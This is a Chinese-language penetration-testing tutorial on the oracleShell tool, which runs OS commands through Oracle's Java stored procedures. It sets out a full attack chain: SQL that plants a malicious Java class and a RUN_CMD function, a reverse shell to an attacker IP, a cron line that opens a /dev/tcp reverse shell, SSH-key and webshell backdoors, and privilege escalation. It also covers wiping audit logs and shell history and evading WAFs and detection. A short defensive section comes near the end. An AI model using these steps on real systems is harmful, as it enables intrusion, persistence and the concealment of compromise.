Oracle数据库Java存储过程命令执行实战:oracleShell工具原理与渗透利用

📅2026/7/12 6:00:50 👁️次浏览
Oracle数据库Java存储过程命令执行实战:oracleShell工具原理与渗透利用
1. 项目概述与核心价值最近在渗透测试和红队评估中遇到Oracle数据库的频率依然很高。很多朋友一提到Oracle第一反应就是“复杂”、“难搞”尤其是涉及到利用漏洞进行命令执行时往往被繁琐的配置和依赖环境劝退。今天我就来详细拆解一个实战中非常高效的工具——oracleShell并手把手教你如何配置和利用它在特定版本的Oracle数据库上实现命令执行最终拿下服务器权限。这不仅仅是工具的使用教程更是对Oracle数据库安全机制的一次深度剖析。oracleShell本质上是一个利用Oracle数据库内置Java支持JVM来执行系统命令的“武器化”工具。它的核心原理是借助Oracle数据库对Java存储过程的支持将恶意Java类加载到数据库服务器内存中并执行从而绕过传统的网络层防护直接在数据库服务器操作系统层面执行命令。这对于那些只开放了1521Oracle默认端口且防火墙规则严格的服务器来说是一条非常隐蔽的攻击路径。接下来我会从环境准备、漏洞原理、工具配置、实战利用到深度隐匿和痕迹清理为你构建一个完整的攻击链认知。2. 漏洞原理与前置知识深度解析2.1 Oracle数据库的Java虚拟机JVM机制要理解oracleShell为何能工作必须深入Oracle数据库的架构。从Oracle 8i版本开始数据库内部就集成了一套完整的Java虚拟机OJVM。这个设计初衷是为了让开发者能够在数据库内部运行Java程序实现更复杂的业务逻辑比如用Java编写存储过程、函数。这带来了便利也引入了一个巨大的攻击面如果攻击者能够向数据库注入并执行自定义的Java代码那么他就能利用数据库服务进程通常是oracle用户的权限执行操作系统命令。关键在于权限。Oracle中执行Java代码需要JAVAUSERPRIV或更高的权限如DBA。在渗透测试中我们获取的数据库连接账户往往具有DBA权限或者通过其他漏洞如SQL注入提升到了DBA权限这就为加载恶意Java类创造了条件。2.2 命令执行的核心dbms_java包与runjava工具Oracle提供了一系列内置包来管理Java其中dbms_java包是核心。攻击者可以通过SQL语句调用这个包中的函数来操作JVM。oracleShell利用的关键函数之一是dbms_java.runjava它能够执行指定的Java代码。但直接执行复杂功能受限更常见的做法是先创建一个Java存储过程。流程是这样的定义Java类通过CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED语句将Java源代码作为数据库对象创建。发布为存储过程使用CREATE OR REPLACE PROCEDURE语句将Java类中的方法包装成PL/SQL可调用的存储过程。执行存储过程最终通过调用这个存储过程来触发恶意Java代码的执行。oracleShell工具将上述过程自动化了。它内置了编译好的恶意Java类Shell.class并通过特定的SQL语句将其加载到数据库中然后创建对应的函数来调用这个类的方法从而对外提供命令执行、文件浏览、反弹Shell等功能。2.3 受影响版本与环境根据项目README和大量实战案例这个利用方式对Oracle 10g、11g版本尤为有效。在12c及以后版本中由于安全机制的增强如更严格的Java权限控制、PDB容器隔离等利用难度会增大但并非完全不可能取决于具体的配置和权限。我们今天的实战环境以Oracle 11g R2 (11.2.0.1.0) 为例这也是企业环境中存留较多的一个版本。注意此技术仅用于授权的安全测试、企业安全自查及教育学习目的。未经授权对他人系统进行测试是违法行为。3. 攻击环境搭建与工具准备3.1 实验环境拓扑为了清晰地复现整个流程我搭建了一个简单的实验环境攻击机 (Kali Linux)IP: 192.168.1.100。用于运行oracleShell客户端、监听反弹Shell连接。靶机 (CentOS 7 Oracle 11g)IP: 192.168.1.200。安装有存在漏洞配置的Oracle 11g数据库监听端口1521。数据库凭据通过前期信息收集或漏洞利用我们获得了以下高权限账户system/password192.168.1.200:1521/ORCL。这个环境模拟了内网中一个常见的场景一台服务器只开放了数据库端口并且我们通过某种方式如弱口令、漏洞拿到了一个高权限的数据库连接。3.2 工具获取与初步分析首先从GitHubjas502n/oracleShell下载工具包。解压后你会看到以下几个关键文件oracleShell.jar: 这是核心的客户端程序一个Java编写的图形化/命令行工具。README.md: 简要说明文件。Shell.java: 恶意Java类的源代码。理解它至关重要。几张效果截图。我们先不急着运行Jar包而是打开Shell.java源码看一看。代码结构清晰定义了一个Shell类包含run方法作为入口根据传入的methodName执行不同操作exec执行命令、list列出目录、getCurrentDir获取当前路径、connectBack反弹Shell。特别是connectBack方法它根据操作系统类型启动/bin/sh或cmd.exe并与攻击机指定的IP和端口建立Socket连接实现一个交互式Shell。这个Java类就是最终要植入到目标数据库中的“武器”。3.3 攻击机基础依赖安装oracleShell.jar是一个Java程序运行它需要JREJava Runtime Environment。同时为了连接Oracle数据库我们还需要Oracle的JDBC驱动ojdbcjar包。安装Java# Kali/Debian/Ubuntu sudo apt update sudo apt install default-jre -y # 验证安装 java -version获取Oracle JDBC驱动 这是最容易卡住的一步。由于Oracle的授权限制其JDBC驱动不能直接通过Maven中央仓库下载。你需要访问Oracle官方网站下载对应你Oracle数据库版本的ojdbcjar包如ojdbc6.jarfor 11g。或者如果你本地有Oracle客户端安装可以在$ORACLE_HOME/jdbc/lib/目录下找到它。 我将下载好的ojdbc6.jar放在了/opt/tools/oracle/目录下。运行oracleShell 由于工具需要指定classpath包含JDBC驱动使用以下命令启动java -cp “oracleShell.jar:ojdbc6.jar” com.abc.abc如果一切正常你会看到一个简单的图形界面。但根据我的经验图形界面在某些环境下可能不稳定。更可靠的方式是直接分析其通信逻辑使用SQL命令行工具如sqlplus配合生成的SQL语句进行利用这也是我们后面会重点讲解的“手动利用”方法。4. oracleShell工具配置与手动利用详解4.1 图形界面模式初探与局限运行上述命令启动GUI后界面通常包含数据库连接配置URL、用户名、密码和功能按钮执行命令、文件管理、反弹Shell等。填入靶机的数据库信息点击连接如果成功工具会自动在后台执行一系列SQL语句来完成Java类的植入。然而在实际的渗透测试特别是网络环境复杂的情况下GUI工具可能遇到问题依赖问题Classpath设置错误导致找不到驱动。网络问题工具直连可能被拦截或超时。兼容性问题Java版本或图形库不匹配。隐蔽性差GUI操作会留下明显的进程和网络连接特征。因此理解其背后的SQL语句掌握手动利用方法是成为一名合格渗透测试人员的必备技能。4.2 核心SQL语句手动执行分析我们直接剖析oracleShell工具会执行的本质操作。以下SQL语句需要在具有DBA权限的会话中执行例如使用sqlplus system/password192.168.1.200:1521/ORCL连接。步骤一创建Java类这是最关键的一步将Shell.class的字节码以16进制形式嵌入到SQL中创建为数据库内的Java对象。CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED “Shell” AS import java.io.*; import java.net.*; public class Shell { // ... 此处是完整的Shell.java代码内容需要原样粘贴 ... } /执行这条语句Oracle会编译这段Java代码并在数据库中创建名为Shell的Java类。步骤二创建包装函数为了让PL/SQL能够调用Java类中的run方法需要创建一个自定义函数作为桥梁。CREATE OR REPLACE FUNCTION RUN_CMD(cmd IN VARCHAR2, encoding IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME ‘Shell.run(java.lang.String, java.lang.String, java.lang.String) return java.lang.String’; /这个函数RUN_CMD接收两个字符串参数命令和编码然后调用Shell.run方法。步骤三执行命令测试创建成功后就可以像调用普通SQL函数一样执行系统命令了SELECT RUN_CMD(‘whoami’, ‘UTF-8’) FROM DUAL;如果返回oracle或root取决于Oracle服务的运行用户恭喜你命令执行成功了。步骤四实现文件列表和反弹Shell文件列表原理相同调用run方法但第一个参数是’list’。SELECT RUN_CMD(‘list||/tmp||UTF-8’, ‘UTF-8’) FROM DUAL;注意这里工具可能对参数进行了拼接处理。手动调用时可能需要根据Shell.run方法的逻辑调整。更稳妥的方式是再创建一个专用的list函数。反弹Shell这是最强大的功能。首先在攻击机上用nc监听一个端口nc -lvnp 8989然后在数据库执行SELECT RUN_CMD(‘connectBack||192.168.1.100^8989’, ‘UTF-8’) FROM DUAL;如果成功你将在nc监听端获得一个来自数据库服务器的Shell会话。4.3 自动化脚本编写为了提高效率我们可以将上述手动步骤编写成一个SQL脚本deploy.sql-- 假设已经以DBA权限连接 -- 1. 创建Java类 CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED “Shell” AS ... (完整的Shell类代码) ... / -- 2. 创建命令执行函数 CREATE OR REPLACE FUNCTION RUN_CMD(cmd IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME ‘Shell.exec(java.lang.String, java.lang.String) return java.lang.String’; / -- 3. 测试 SELECT RUN_CMD(‘id’) FROM DUAL;然后通过sqlplus执行sqlplus system/password192.168.1.200:1521/ORCL deploy.sql5. 实战利用从命令执行到服务器控制5.1 信息收集与权限判断拿到命令执行权限后第一步不是乱跑命令而是冷静地收集信息判断环境。当前用户whoami。通常是oracle也可能是root如果安装时配置了特权。操作系统uname -a或cat /etc/issue。网络信息ifconfig或ip addr。查看内网网段为横向移动做准备。进程与服务ps auxf。查看有哪些其他服务寻找突破口。数据库自身信息SELECT * FROM v$version;确认精确版本。5.2 文件系统操作与后门部署通过list功能或直接使用命令ls -la /home可以浏览文件系统。常见的敏感目录包括/home/oracleOracle用户的家目录可能有数据库连接配置文件tnsnames.ora、脚本、历史记录.bash_history。/tmp临时目录通常可写用于存放后续工具。/etc系统配置文件。部署持久化后门写入SSH公钥如果/home/oracle/.ssh/目录存在且可写。# 在攻击机生成密钥对 ssh-keygen -t rsa -f oracle_key # 将公钥内容通过echo命令写入靶机的authorized_keys # 需要先将公钥内容进行编码或分段写入避免特殊字符问题创建计划任务Linux下使用crontab -e需要当前用户有cron权限。# 添加一个每10分钟连接一次的反向Shell (crontab -l 2/dev/null; echo “*/10 * * * * /bin/bash -c ‘/bin/bash -i /dev/tcp/192.168.1.100/4444 01’”) | crontab -植入WebShell如果服务器同时运行Web服务如Apache、Nginx找到Web根目录如/var/www/html写入一个简单的JSP或PHP Webshell。5.3 权限提升与横向移动如果当前是oracle用户我们的目标是获取root权限。内核漏洞提权使用uname -r查看内核版本搜索对应的本地提权LPE漏洞。可以上传预编译的exp如dirtycow、CVE-2021-4034等并执行。SUID/GUID文件检查运行find / -perm -4000 -type f 2/dev/null查找具有SUID位的文件看看是否有find、vim、bash等可被利用。数据库特权滥用Oracle的oracle用户有时属于dba组可能拥有某些特权。检查/etc/sudoers文件sudo -l。横向移动利用从当前服务器收集到的密码、密钥或凭据尝试连接同一网段的其他数据库或服务器。可以使用nmap、hydra等工具需要先上传到靶机。5.4 利用反弹Shell进行交互式控制通过connectBack获得的Shell往往是“哑”Shell没有TTY功能受限无法使用su、sudo、vi等。需要进行TTY升级# 在获得的反弹Shell中执行 python -c ‘import pty; pty.spawn(“/bin/bash”)’ # 或者 script /dev/null -c bash # 然后按 CtrlZ 挂起在攻击机终端输入 stty raw -echo; fg # 最后重置终端并设置环境变量 reset export TERMxterm-256color export SHELLbash现在你就获得了一个功能完整的交互式Shell。6. 深度隐匿、痕迹清理与防御建议6.1 攻击痕迹清理一次专业的渗透测试在取得目标后需要清理痕迹避免被蓝队轻易发现。数据库日志Oracle的审计日志位置在$ORACLE_BASE/admin/$ORACLE_SID/adump/和$ORACLE_HOME/rdbms/audit/。检查并删除相关.aud文件。但需谨慎全删可能触发告警。操作系统命令历史清除当前会话的历史记录。history -c history -w # 或者直接清空文件 echo ~/.bash_history删除创建的数据库对象测试结束后删除植入的Java类和函数。DROP FUNCTION RUN_CMD; DROP JAVA SOURCE “Shell”;删除上传的工具文件清理/tmp或其他目录下上传的exp、扫描器等文件。6.2 绕过检测与持久化技巧代码混淆将Shell.java中的类名、方法名、字符串进行混淆避免特征检测。分段加载不一次性执行大段Java代码而是将字节码分段写入多个BLOB字段再组合执行绕过简单的SQL注入防护或WAF对长字符串的检测。利用合法函数研究Oracle内置的UTL_FILE、DBMS_ADVISOR等包看是否能间接执行命令或读写文件这比自定义Java类更隐蔽。内存执行尽量不向磁盘写入文件所有操作在内存中完成。反弹Shell的流量可以加密或使用DNS、ICMP等协议隧道进行传输。6.3 针对此攻击的防御建议作为防御方如何防范此类攻击最小权限原则严格限制数据库用户的权限。非必要不给DBA权限。对于应用账户坚决禁止拥有JAVAUSERPRIV、CREATE PROCEDURE等危险权限。关闭不必要的功能如果业务用不到Java存储过程考虑禁用Oracle JVM。-- 需要SYSDBA权限 REVOKE JAVASYSPRIV FROM PUBLIC; ALTER SYSTEM SET java_permissions FALSE SCOPESPFILE; -- 重启数据库生效加强审计与监控启用数据库审计重点监控CREATE JAVA、CREATE PROCEDURE、对dbms_java包的调用等操作。结合SIEM系统设置告警规则。网络隔离数据库服务器应置于内网严格限制访问源。1521端口不应直接对互联网开放。定期漏洞扫描与更新及时安装Oracle发布的安全补丁CPU。使用专业的安全工具对数据库进行基线检查和漏洞扫描。入侵检测在数据库服务器上部署HIDS主机入侵检测系统监控异常进程创建如从oracle用户启动/bin/sh、网络外连等行为。7. 常见问题排查与实战心得7.1 连接与权限问题问题sqlplus连接失败报错ORA-12541: TNS:no listener。排查目标数据库监听服务未启动或防火墙拦截。确认端口1521是否开放nc -zv 192.168.1.200 1521。问题连接成功但执行创建Java语句时报错ORA-29540: class Shell does not exist或权限不足。排查当前用户没有CREATE PROCEDURE或JAVAUSERPRIV权限。尝试使用SYSTEM、SYS等更高权限账户。可以通过SELECT * FROM USER_ROLE_PRIVS;查看当前权限。问题RUN_CMD函数创建成功但执行命令返回空或报错。排查命令本身执行失败。尝试执行简单命令如echo test。Oracle JVM执行外部命令受到策略限制。检查Java安全策略文件。输出编码问题。尝试不同的编码参数如GBK、ISO-8859-1。7.2 反弹Shell失败问题connectBack执行后攻击机nc没有收到连接。排查网络可达性确保从靶机到攻击机IP:端口的路由是通的且没有防火墙拦截出站连接。可以在靶机上用/bin/bash -c ‘cat /dev/tcp/192.168.1.100/8989’测试TCP连接如果bash版本支持。命令语法oracleShell使用的分隔符是^确保拼接的参数字符串格式正确’connectBack||192.168.1.100^8989’。靶机出站限制服务器可能禁止了任意端口的出站连接只允许访问特定IP或端口如53、80、443。尝试反弹到这些常见端口。Java安全策略Oracle JVM可能禁止网络连接。这通常需要更复杂的绕过手段。7.3 实战心得与技巧“手动”优于“自动”图形化工具虽然方便但在复杂、受限的网络环境中手动执行SQL脚本的可靠性更高也更利于理解原理和调试。善用编码绕过有时WAF或IDS会检测特定的SQL关键词如CREATE JAVA。可以尝试对SQL语句进行十六进制编码、注释混淆等绕过。准备多种JDBC驱动不同版本的Oracle数据库可能需要不同版本的ojdbc驱动如ojdbc5.jar、ojdbc6.jar、ojdbc8.jar。随身备齐。时间延迟判断如果命令执行没有回显可以使用ping或sleep命令通过时间延迟来判断是否执行成功盲注思想。例如RUN_CMD(‘sleep 5’)。保持低调在内网中避免进行大规模端口扫描或暴力破解这些行为很容易触发安全告警。先利用已获取的权限进行小范围、精准的信息收集。